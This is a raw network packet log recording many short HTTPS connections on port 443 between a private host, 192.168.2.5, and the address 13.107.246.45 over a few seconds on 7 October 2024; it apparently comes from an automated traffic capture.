Oct 7, 2024 06:44:35.482070923 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.482120037 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.482127905 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.482163906 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.499491930 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.499561071 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.499609947 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.501586914 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.501616001 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.501631975 CEST	49830	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.501640081 CEST	443	49830	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.503561974 CEST	49831	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.503582001 CEST	443	49831	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.566741943 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.566787004 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.566901922 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.571259022 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.571273088 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.571903944 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.571969986 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.572026968 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.572124958 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.572134018 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.573268890 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.573277950 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.573327065 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.574572086 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.574594021 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.574646950 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.574675083 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.574685097 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.574767113 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.574775934 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.924868107 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.925496101 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.925514936 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:35.925935030 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:35.925940990 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.027853012 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.028074980 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.028165102 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.028264999 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.028283119 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.028296947 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.028304100 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.031281948 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.031305075 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.031395912 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.031563997 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.031582117 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.207828045 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.214179039 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.214210033 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.214633942 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.214639902 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.224476099 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.224813938 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.224823952 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.225188971 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.225193977 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.232320070 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.232651949 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.232659101 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.232980967 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.233040094 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.233042955 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.233903885 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.233918905 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.234323978 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.234329939 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.309077978 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.309281111 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.309356928 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.309546947 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.309546947 CEST	49834	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.309566975 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.309576035 CEST	443	49834	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.312366009 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.312407017 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.312490940 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.312669039 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.312678099 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.325514078 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.325697899 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.325747013 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.325778961 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.325793982 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.325810909 CEST	49835	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.325817108 CEST	443	49835	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.328124046 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.328140020 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.328191042 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.328326941 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.328332901 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.337102890 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.337397099 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.337491989 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.337538004 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.337562084 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.337567091 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.337580919 CEST	49832	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.337584972 CEST	443	49832	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.338262081 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.338301897 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.338315964 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.338347912 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.338398933 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.338407993 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.338419914 CEST	49833	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.338424921 CEST	443	49833	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.339499950 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.339540005 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.339617968 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.339719057 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.339730024 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.340295076 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.340338945 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.340394020 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.340531111 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.340544939 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.677689075 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.678337097 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.678352118 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.678946018 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.678950071 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.778889894 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.779249907 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.779437065 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.779437065 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.779437065 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.782170057 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.782217026 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.782290936 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.782452106 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.782469034 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.951101065 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.952126026 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.952209949 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.952619076 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.952636957 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.973779917 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.974299908 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.974322081 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.974672079 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.974677086 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.980336905 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.980660915 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.980700970 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:36.980982065 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:36.980998039 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.018115044 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.018743992 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.018759966 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.019223928 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.019228935 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.051018953 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.051085949 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.051179886 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.051202059 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.051268101 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.051445961 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.051445961 CEST	49837	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.051486015 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.051508904 CEST	443	49837	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.054502964 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.054538012 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.054620981 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.054792881 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.054805040 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.073535919 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.073601961 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.073679924 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.073928118 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.073928118 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.073941946 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.073950052 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.076719999 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.076742887 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.076838017 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.077013969 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.077028036 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.080336094 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.080475092 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.080545902 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.080652952 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.080653906 CEST	49838	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.080679893 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.080702066 CEST	443	49838	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.083744049 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.083771944 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.083854914 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.084017992 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.084031105 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.094749928 CEST	49836	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.094763994 CEST	443	49836	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.121967077 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.122121096 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.122209072 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.122368097 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.122375011 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.122384071 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.122389078 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.125330925 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.125439882 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.125523090 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.125691891 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.125725031 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.447591066 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.448307037 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.448343039 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.448761940 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.448766947 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.550843000 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.550892115 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.550940037 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.551079988 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.551137924 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.551430941 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.551451921 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.551462889 CEST	49841	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.551469088 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.554969072 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.555064917 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.555258989 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.555483103 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.555511951 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.701548100 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.702159882 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.702192068 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.702678919 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.702683926 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.749134064 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.749768972 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.749794006 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.750225067 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.750228882 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.762197018 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.762887001 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.762904882 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.763237000 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.763242960 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.792076111 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.792870998 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.792908907 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.793235064 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.793241978 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.808840990 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.809031963 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.809082031 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.809202909 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.809222937 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.809261084 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.809267044 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.811670065 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.811702967 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.811810017 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.811945915 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.811959982 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.854196072 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.854253054 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.854321003 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.854465961 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.854480982 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.854490995 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.854496002 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.857021093 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.857112885 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.857203007 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.857429981 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.857462883 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.865753889 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.865905046 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.865978956 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.866005898 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.866005898 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.866017103 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.866027117 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.868108988 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.868145943 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.868208885 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.868350029 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.868367910 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.893748999 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.893863916 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.893929958 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.893990993 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.894022942 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.894078970 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.894129992 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.894160032 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.894160032 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.894181967 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.894200087 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.896502018 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.896531105 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:37.896609068 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.896759033 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:37.896773100 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.204577923 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.205149889 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.205176115 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.205645084 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.205657005 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.305783987 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.306031942 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.306093931 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.306183100 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.306207895 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.306252003 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.306266069 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.308937073 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.308989048 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.309041023 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.309202909 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.309216976 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.446387053 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.446894884 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.446912050 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.447350025 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.447354078 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.490463018 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.490987062 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.491039991 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.491451979 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.491468906 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.509402990 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.509865046 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.509879112 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.510238886 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.510245085 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.542428017 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:38.542851925 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:38.542857885 CEST	443	49850	13.107.246.45	192.168.2.5
